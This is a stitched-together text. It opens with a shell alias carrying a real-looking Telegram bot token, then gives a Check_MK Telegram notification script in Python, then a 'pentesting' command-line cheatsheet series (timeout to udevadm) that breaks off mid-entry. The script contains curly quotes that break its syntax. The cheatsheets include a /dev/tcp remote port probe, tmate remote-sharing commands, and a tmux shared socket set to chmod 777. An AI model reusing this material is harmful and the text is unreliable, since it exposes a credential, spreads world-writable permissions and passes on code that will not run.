alias telegramsr='curl --silent --output /dev/null --data-urlencode "chat_id=437945356" --data-urlencode "text=testnachricht" --data-urlencode "parse_mode=Markdown" "https://api.telegram.org/bot510073789:AAFFKLh7TtwnOeGRf_dksTwailGlD94oOnA/sendMessage"'

#!/usr/bin/python
# Telegram

# Copyright Mathias Kettner  2013  [email protected]
#           Stefan Gehn      2016  [email protected]

# check_mk is free software;  you can redistribute it and/or modify it
# under the  terms of the  GNU General Public License  as published by
# the Free Software Foundation in version 2.  check_mk is  distributed
# in the hope that it will be useful, but WITHOUT ANY WARRANTY;  with-
# out even the implied warranty of  MERCHANTABILITY  or  FITNESS FOR A
# PARTICULAR PURPOSE. See the  GNU General Public License for more de-
# ails.  You should have  received  a copy of the  GNU  General Public
# License along with GNU Make; see the file  COPYING.  If  not,  write
# to the Free Software Foundation, Inc., 51 Franklin St,  Fifth Floor,
# Boston, MA 02110-1301 USA.

# Telegram notification based on asciimail notification from
# check_mk 1.2.6p16.

import os, re, sys, urllib, urllib2

### CHANGE THESE ###
telegram_bot_token = '101010101:ChangeMeChangeMeChangeMe'
####################

tmpl_host_text = """*Check_MK: $HOSTNAME$ - $EVENT_TXT$*

Host: $HOSTNAME$ Alias: $HOSTALIAS$ Address: $HOSTADDRESS$ Event: $EVENT_TXT$ Output: $HOSTOUTPUT$

$LONGHOSTOUTPUT$```"""

tmpl_service_text = “”"Check_MK: $HOSTNAME$/$SERVICEDESC$ $EVENT_TXT$

Host:     $HOSTNAME$
Alias:    $HOSTALIAS$
Address:  $HOSTADDRESS$
Service:  $SERVICEDESC$
Event:    $EVENT_TXT$
Output:   $SERVICEOUTPUT$

$LONGSERVICEOUTPUT$```"""

def substitute_context(template, context):
    # First replace all known variables
    for varname, value in context.items():
        template = template.replace('$'+varname+'$', value)

    # Remove the rest of the variables and make them empty
    template = re.sub("\$[A-Z_][A-Z_0-9]*\$", "", template)
    return template

def construct_message_text(context):
    notification_type = context["NOTIFICATIONTYPE"]
    if notification_type in [ "PROBLEM", "RECOVERY" ]:
        txt_info = "$PREVIOUS@HARDSHORTSTATE$ -> $@SHORTSTATE$"
    elif notification_type.startswith("FLAP"):
        if "START" in notification_type:
            txt_info = "Started Flapping"
        else:
            txt_info = "Stopped Flapping ($@SHORTSTATE$)"
    elif notification_type.startswith("DOWNTIME"):
        what = notification_type[8:].title()
        txt_info = "Downtime " + what + " ($@SHORTSTATE$)"
    elif notification_type == "ACKNOWLEDGEMENT":
        txt_info = "Acknowledged ($@SHORTSTATE$)"
    elif notification_type == "CUSTOM":
        txt_info = "Custom Notification ($@SHORTSTATE$)"
    else:
        txt_info = notification_type # Should neven happen

    txt_info = substitute_context(txt_info.replace("@", context["WHAT"]), context)

    context["EVENT_TXT"] = txt_info

    if context['WHAT'] == 'HOST':
        tmpl_text = tmpl_host_text
    else:
        tmpl_text = tmpl_service_text

    return substitute_context(tmpl_text, context)

def fetch_notification_context():
    context = {}
    for (var, value) in os.environ.items():
        if var.startswith("NOTIFY_"):
            context[var[7:]] = value.decode("utf-8")
    return context

def send_telegram_message(token, chat_id, text):
    url = 'https://api.telegram.org/bot%s/sendMessage' % (token)
    data = urllib.urlencode({'chat_id':chat_id, 'text':text, 'parse_mode':'Markdown'})
    #print("sending telegram message, url '%s', chat id '%s', text '%s'" % (url, chat_id, text))
    try:
        urllib2.urlopen(url, data).read()
    except urllib2.URLError, e:
        sys.stdout.write('Cannot send Telegram message: HTTP-Error %s %s\n' % (e.code, e))

def main():
    context = fetch_notification_context()
    telegram_chatid = context.get('CONTACT_TELEGRAM_CHAT_ID')
    if not telegram_chatid: # e.g. empty field in user database
        sys.stdout.write("Cannot send Telegram message: Empty destination chat id")
        sys.exit(2)
    text = construct_message_text(context)
    send_telegram_message(telegram_bot_token, telegram_chatid, text)

main()
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

209 - 🖥️timeout

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the timeout command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ████████╗██╗███╗   ███╗███████╗ ██████╗ ██╗   ██╗████████╗
#  ╚══██╔══╝██║████╗ ████║██╔════╝██╔═══██╗██║   ██║╚══██╔══╝
#     ██║   ██║██╔████╔██║█████╗  ██║   ██║██║   ██║   ██║   
#     ██║   ██║██║╚██╔╝██║██╔══╝  ██║   ██║██║   ██║   ██║   
#     ██║   ██║██║ ╚═╝ ██║███████╗╚██████╔╝╚██████╔╝   ██║   
#     ╚═╝   ╚═╝╚═╝     ╚═╝╚══════╝ ╚═════╝  ╚═════╝    ╚═╝   

# How to test a TCP (or UDP) remote port without telnet or netcat (in a one-liner): (google’s IP and TCP to 443)
timeout 1 bash -c '</dev/tcp/216.58.207.46/443 && echo Port is open || echo Port is closed' || echo Connection timeout

timeout 10m <command> 
# Run command, but exit after 10 minutes. See man timeout 
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

210 - 🖥️tmate

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the tmate command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ████████╗███╗   ███╗ █████╗ ████████╗███████╗
#  ╚══██╔══╝████╗ ████║██╔══██╗╚══██╔══╝██╔════╝
#     ██║   ██╔████╔██║███████║   ██║   █████╗  
#     ██║   ██║╚██╔╝██║██╔══██║   ██║   ██╔══╝  
#     ██║   ██║ ╚═╝ ██║██║  ██║   ██║   ███████╗
#     ╚═╝   ╚═╝     ╚═╝╚═╝  ╚═╝   ╚═╝   ╚══════╝

# tmate - Instant terminal sharing 
# tmux fork for screen sharing - https://tmate.io/
tmate

# see tmate's log messages, including the ssh connection string.
tmate show-messages

# Launch tmate in a detached state
tmate -S /tmp/tmate.sock new-session -d      

# Blocks until the SSH connection is established
tmate -S /tmp/tmate.sock wait tmate-ready

# Prints the SSH connection string
tmate -S /tmp/tmate.sock display -p '#{tmate_ssh}'

# Prints the read-only SSH connection string
tmate -S /tmp/tmate.sock display -p '#{tmate_ssh_ro}'

# Prints the web connection string
tmate -S /tmp/tmate.sock display -p '#{tmate_web}'

# Prints the read-only web connection string
tmate -S /tmp/tmate.sock display -p '#{tmate_web_ro}'
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

211 - 🖥️tmux

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the tmux command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ████████╗███╗   ███╗██╗   ██╗██╗  ██╗
#                ╚══██╔══╝████╗ ████║██║   ██║╚██╗██╔╝
#                   ██║   ██╔████╔██║██║   ██║ ╚███╔╝ 
#                   ██║   ██║╚██╔╝██║██║   ██║ ██╔██╗ 
#                   ██║   ██║ ╚═╝ ██║╚██████╔╝██╔╝ ██╗
#                   ╚═╝   ╚═╝     ╚═╝ ╚═════╝ ╚═╝  ╚═╝
                                                     
                

# Start tmux:
tmux

# Detach from tmux:
Ctrl-b d

# Restore tmux session:
tmux attach

# Detach an already attached session (great if you are moving devices with different screen resolutions)
tmux attach -d 

# Display session:
tmux ls

# Rename session:
Ctrl-b $

# Switch session:
Ctrl-b s

# Start a shared session:
tmux -S /tmp/your_shared_session
chmod 777 /tmp/your_shared_session

# Help screen (Q to quit):
Ctrl-b ?

# Scroll in window:
Ctrl-b PageUp/PageDown

# Reload configuation file
Ctrl-b : source-file /path/to/file

# Window management
# =================

# Create window:
Ctrl-b c

# Destroy window:
Ctrl-b x

# Switch between windows:
Ctrl-b [0-9]
or
Ctrl-b Arrows

# Split windows horizontally:
Ctrl-b %

# Split windows vertically:
Ctrl-b "

"

# In tmux, this keystroke will split your current window vertically into two parts called panes. You can also split horizontally with Ctrl-B " (double quote). Have fun.
Ctrl-B % 

#==============================##==============================#
# CMD TMUX						       #
#==============================##==============================#
tmux attach -t 2
# Pick up where you left off on tmux session 2. tmux list-sessions to see what is available.

tmux
# tmux is a great program that manages multiple terminal sessions and allows you to detach/reattach to the session. Also screen, dvtm.

tmux break-pane or <Ctrl-b>:break-pane
# Take the current tmux pane from split window and break it out into a full sized window.

tmux list-clients ; tmux detach-client -t pts/22 
# When you have 2+ tmux clients on the same session and another one is on a smaller window.

[Ctrl-b] + D 
# A keystroke for tmux to show a list of clients you can detach. Great for when one of the clients is slightly "undersized".

#==============================##==============================#
# CMD TMUX						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

212 - 🖥️todo

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the todo command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ████████╗ ██████╗ ██████╗  ██████╗ 
#  ╚══██╔══╝██╔═══██╗██╔══██╗██╔═══██╗
#     ██║   ██║   ██║██║  ██║██║   ██║
#     ██║   ██║   ██║██║  ██║██║   ██║
#     ██║   ╚██████╔╝██████╔╝╚██████╔╝
#     ╚═╝    ╚═════╝ ╚═════╝  ╚═════╝ 

# Todo (Bash-Snippets)
# A simplistic commandline todo list

# Add a task to your todo list
todo -a This is an example task

# Print the current task list
todo -g

# Remove a single task from the list
todo -r [taskNumber]

# To clear all tasks
todo -c or todo clear
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

213 - 🖥️trap

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the trap command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ████████╗██████╗  █████╗ ██████╗ 
#                ╚══██╔══╝██╔══██╗██╔══██╗██╔══██╗
#                   ██║   ██████╔╝███████║██████╔╝
#                   ██║   ██╔══██╗██╔══██║██╔═══╝ 
#                   ██║   ██║  ██║██║  ██║██║     
#                   ╚═╝   ╚═╝  ╚═╝╚═╝  ╚═╝╚═╝     
                                                 
                

trap "echo;ack-grep --bar | sed 'y/ge/ta/'" SIGINT
# Spice up your excessive usage of [Ctrl-C]. Needs ack or ack-grep. 

trap 'v=$((! v));' SIGUSR1
# Then do kill -USR1 PIDOFBASH to flip the state of the variable v. Could be useful in loops, turn on/off a print

#==============================##==============================#
# CMD TRAP						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

214 - 🖥️trashy

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the trashy command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ████████╗██████╗  █████╗ ███████╗██╗  ██╗██╗   ██╗
#                ╚══██╔══╝██╔══██╗██╔══██╗██╔════╝██║  ██║╚██╗ ██╔╝
#                   ██║   ██████╔╝███████║███████╗███████║ ╚████╔╝ 
#                   ██║   ██╔══██╗██╔══██║╚════██║██╔══██║  ╚██╔╝  
#                   ██║   ██║  ██║██║  ██║███████║██║  ██║   ██║   
#                   ╚═╝   ╚═╝  ╚═╝╚═╝  ╚═╝╚══════╝╚═╝  ╚═╝   ╚═╝   
                

                                                                
# Trash foo and bar
trash foo bar

# Trash "foo bar"
trash foo\ bar

# List files in trash
trash -v --list

# Restore foo from trash
trash --restore foo

# Empty trash
trash --empty

#==============================##==============================#
# CMD TRASHY						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

215 - 🖥️trickle

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the trickle command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ████████╗██████╗ ██╗ ██████╗██╗  ██╗██╗     ███████╗
#  ╚══██╔══╝██╔══██╗██║██╔════╝██║ ██╔╝██║     ██╔════╝
#     ██║   ██████╔╝██║██║     █████╔╝ ██║     █████╗  
#     ██║   ██╔══██╗██║██║     ██╔═██╗ ██║     ██╔══╝  
#     ██║   ██║  ██║██║╚██████╗██║  ██╗███████╗███████╗
#     ╚═╝   ╚═╝  ╚═╝╚═╝ ╚═════╝╚═╝  ╚═╝╚══════╝╚══════╝

trickle -d 50 wget http://www.newdistro.com/download/newux-1.0-bluray.iso … 
# Use trickle to limit bandwidth of network commands.
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

216 - 🖥️truncate

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the truncate command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#    ████████╗██████╗ ██╗   ██╗███╗   ██╗ ██████╗ █████╗ ████████╗███████╗
#    ╚══██╔══╝██╔══██╗██║   ██║████╗  ██║██╔════╝██╔══██╗╚══██╔══╝██╔════╝
#       ██║   ██████╔╝██║   ██║██╔██╗ ██║██║     ███████║   ██║   █████╗  
#       ██║   ██╔══██╗██║   ██║██║╚██╗██║██║     ██╔══██║   ██║   ██╔══╝  
#       ██║   ██║  ██║╚██████╔╝██║ ╚████║╚██████╗██║  ██║   ██║   ███████╗
#       ╚═╝   ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝ ╚═════╝╚═╝  ╚═╝   ╚═╝   ╚══════╝
                                                                                     
                                                                                     
                                                                                     
# To clear the contents from a file:
truncate -s 0 file.txt

# To truncate a file to 100 bytes:
truncate -s 100 file.txt

# To truncate a file to 100 KB:
truncate -s 100K file.txt

# (M, G, T, P, E, Z, and Y may be used in place of "K" as required.)

#==============================##==============================#
# CMD TRUNCATE						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

217 - 🖥️tsort

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the tsort command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ████████╗███████╗ ██████╗ ██████╗ ████████╗
#                ╚══██╔══╝██╔════╝██╔═══██╗██╔══██╗╚══██╔══╝
#                   ██║   ███████╗██║   ██║██████╔╝   ██║   
#                   ██║   ╚════██║██║   ██║██╔══██╗   ██║   
#                   ██║   ███████║╚██████╔╝██║  ██║   ██║   
#                   ╚═╝   ╚══════╝ ╚═════╝ ╚═╝  ╚═╝   ╚═╝   
                                                           
                                                           

tsort
# The Unix command line utility tsort performs a topological sort.

#==============================##==============================#
# CMD TSORT 
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

218 - 🖥️tty

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the tty command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#                ████████╗████████╗██╗   ██╗
#                ╚══██╔══╝╚══██╔══╝╚██╗ ██╔╝
#                   ██║      ██║    ╚████╔╝ 
#                   ██║      ██║     ╚██╔╝  
#                   ██║      ██║      ██║   
#                   ╚═╝      ╚═╝      ╚═╝   
                                           
                                           

# The tty command prints the filename of the terminal connected to standard input.

tty
/dev/pts/10

# Have script run itself in a virtual terminal
tty >/dev/null || { urxvt -hold -e "$0" "$@" & exit; }
# Explanation: This can be the first line of a script that will be clicked from a graphical user interface in X to make it open up a virtual terminal to display output. If a terminal is already open it will run in the current terminal. It assumes urxvt and uses the hold option to keep from closing, both of which could be substituted for such as rxvt or add read at the end of the script.
    # It's a single line if statement that checks the exit code of tty which prints the current terminal name usually nothing under X.
    # The curly braces are needed for grouping.
    # A space is required after the opening brace { and a semicolon is required before the closing brace }.
    # Replacing what would be a semicolon, the ampersand & forks the terminal command to a second process and the launching script exits right away.
    # -e feeds to the terminal application the expression of $0which holds the path of the script itself and $@, the entire set of quoted arguments.
# Limitations: If the script is large, say several gigabytes and the system tries to make two copies of the script, twice the size of RAM or memory will be needed for loading it.
    # rxvt -e will kill any subprocesses at the end

## Alternative one-liners: 

# Have script run itself in a virtual terminal
tty >/dev/null || { urxvt -e /bin/sh -c "tty >/tmp/proc$$; while test x; do sleep 1; done" & while test ! -f /tmp/proc$$; do sleep .1; done; FN=$(cat /tmp/proc$$); rm /tmp/proc$$; exec >$FN 2>$FN <$FN; }
# Explanation: 
    # We begin by testing if the script is not in a terminal with tty.
    # If it is not we start a terminal that runs tty and saves it to a filename. $$ was set by the original script and is its PID. That is opened in the background using & and then the original script waits for the filename to appear, then reads and removes it.
    # Finally, the main command is a special syntax of the bash builtin command exec that contains nothing but redirections (of stdout, stderr, and stdin) so they will apply to every command in the rest of the script file.

#==============================##==============================#
# CMD TTY						       #
#==============================##==============================#
░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

219 - 🖥️udevadm

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the udevadm command with important options and switches using examples.

▁ ▂ ▃ ▄ ꧁ 🔴☠ COMMANDLINE-KUNGFU WITH CHEATSHEETS ☠🔴꧂▅ ▃ ▂ ▁

#  ██╗   ██╗██████╗ ███████╗██╗   ██╗ █████╗ ██████╗ ███╗   ███╗
#  ██║   ██║██╔══██╗██╔════╝██║   ██║██╔══██╗██╔══██╗████╗ ████║
#  ██║   ██║██║  ██║█████╗  ██║   ██║███████║██║  ██║██╔████╔██║
#  ██║   ██║██║  ██║██╔══╝  ╚██╗ ██╔╝██╔══██║██║  ██║██║╚██╔╝██║
#  ╚██████╔╝██████╔╝███████╗ ╚████╔╝ ██║  ██║██████╔╝██║ ╚═╝ ██║
#   ╚═════╝ ╚═════╝ ╚══════╝  ╚═══╝  ╚═╝  ╚═╝╚═════╝ ╚═╝     ╚═╝

# udevadm - udev management tool

# Reload udev rules without reboot
udevadm control --reload-rules && udevadm trigger

# Get sysfs path of a device
udevadm info -q path -n /dev/sda

# Get a list of attributes for a specific device
udevadm info -a -p  $(udevadm info -q path -n /dev/sdb)

# Get an entry for each action taken by KERNEL and UDEV
